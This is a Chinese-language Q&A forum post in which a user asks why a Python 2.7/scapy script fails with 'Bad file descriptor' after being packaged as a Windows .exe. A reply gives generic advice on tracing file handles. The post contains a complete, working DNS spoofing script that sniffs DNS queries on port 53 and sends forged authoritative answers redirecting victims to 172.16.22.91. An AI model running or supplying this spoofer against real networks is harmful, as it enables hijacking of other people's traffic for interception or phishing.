2014-06-24 47 views
1

我在Windows XP中使用python 2.7和scapy-2.2.0。 我正在尝试DNS欺骗,它在python中运行良好。但是当我对.exe执行并执行它时,出现此错误scapy OSError:[Errno 9]错误的文件描述符

Traceback (most recent call last): 
File "dns_spoof.py", line 17, in <module> 
File "scapy\arch\windows\__init__.pyc", line 523, in sniff 
File "dns_spoof.py", line 15, in dns_spoof 
File "scapy\sendrecv.pyc", line 251, in send 
File "scapy\sendrecv.pyc", line 237, in __gen_send 
OSError: [Errno 9] Bad file descriptor 

我该如何解决?请帮忙。

这是源代码。

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
try: 
    from scapy.all import * 
except: 
    from scapy import * 
def dns_spoof(pkt): 
    redirect_to = '172.16.22.91' 
    if pkt.haslayer(DNSQR): # DNS question record 
     spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 
         UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 
         DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ 
         an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) 
     send(spoofed_pkt) 
     print 'Sent:', spoofed_pkt.summary() 
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof) 

回答

0

它看起来像一个错误的文件描述符(句柄)正在使用。例如。作为stdout(管道)打开的东西用作套接字。

如果我理解正确,相同的程序从源工作,失败时滚到一个exe文件。我对吗?

如果你在linux上运行它,你会使用strace来找出哪个。

windows上的等价工具是Process MonitorLogger.exe

+1

谢谢,我解决了它。它是源代码中的字符问题('\')。 – user3769936

相关问题